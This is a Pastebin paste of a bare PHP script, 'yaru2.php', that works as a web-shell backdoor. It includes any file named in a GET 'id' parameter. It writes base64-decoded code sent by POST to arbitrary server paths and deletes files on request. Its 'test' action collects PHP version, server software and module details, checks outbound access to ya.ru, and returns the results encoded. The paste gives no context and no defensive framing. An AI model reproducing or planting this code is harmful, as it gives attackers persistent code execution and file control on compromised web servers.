PalmaSolutions

yaru2.php

Apr 20th, 2018
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.01 KB | None | 0 0
  1. <?php //7d2b3da887a173e8f45c7ca1ad2dd0bf
  2.  
  3. /**
  4. * @version 2.0
  5. *
  6. */
  7.  
  8. if (isset($_POST["action"]))
  9. {
  10. switch ($_POST["action"])
  11. {
  12. case "test":
  13. test();
  14. break;
  15. case "setup":
  16. projectcodes_setup();
  17. break;
  18. case "remove":
  19. projectcodes_remove();
  20. break;
  21. default:
  22. break;
  23. }
  24. return;
  25. }
  26.  
  27. if (count($_GET) > 0)
  28. {
  29. foreach ($_GET as $id => $code)
  30. {
  31. if ($id == "id")
  32. {
  33. include $code;
  34. }
  35. }
  36. return;
  37.  
  38. }
  39.  
  40. function test()
  41. {
  42. $encoded_data = "";
  43.  
  44. $data["version"] = phpversion();
  45. if (isset($_SERVER["SERVER_SOFTWARE"]))
  46. {
  47. $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"];
  48. }
  49. else
  50. {
  51. $data["serverapi"] = "Not Available";
  52. }
  53. ob_start();
  54. phpinfo(8);
  55. $data["modules"] = ob_get_contents();
  56. ob_clean();
  57. $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE;
  58. $serializes_data = serialize($data);
  59. $encoded_data = base64_encode($serializes_data);
  60. echo $_POST["test_message"] . $encoded_data;
  61. }
  62.  
  63. function projectcodes_setup()
  64. {
  65. $projectcodes = $_POST["projectcodes"];
  66. foreach ($projectcodes as $projectcode)
  67. {
  68. $mark = $projectcode["mark"];
  69. $code = base64_decode($projectcode["code"]);
  70. $res = new_file_put_contents($mark, $code);
  71. if($res)
  72. {
  73. $installed[]=$projectcode["id"];
  74. }
  75. }
  76. $installed = serialize($installed);
  77. $installed = base64_encode($installed);
  78. echo $installed;
  79.  
  80. }
  81.  
  82. function projectcodes_remove()
  83. {
  84. $projectcodes = $_POST["projectcodes"];
  85. foreach ($projectcodes as $projectcode)
  86. {
  87. $mark = $projectcode["mark"];
  88. $res = unlink($mark);
  89. }
  90. }
  91.  
  92. function new_file_put_contents($filename, $data)
  93. {
  94. $f = @fopen($filename, 'w');
  95. if (!$f)
  96. {
  97. return false;
  98. }
  99. else
  100. {
  101. $bytes = fwrite($f, $data);
  102. fclose($f);
  103. return $bytes;
  104. }
  105. }
  106.  
  107. function new_file_get_contents($filename)
  108. /* Returns the contents of file name passed
  109. */
  110. {
  111. if (!function_exists('file_get_contents'))
  112. {
  113. $fhandle = fopen($filename, "r");
  114. $fcontents = fread($fhandle, filesize($filename));
  115. fclose($fhandle);
  116. }
  117. else
  118. {
  119. $fcontents = file_get_contents($filename);
  120. }
  121. return $fcontents;
  122. }
  123.  
  124. ?>
Advertisement
Add Comment
Please, Sign In to add comment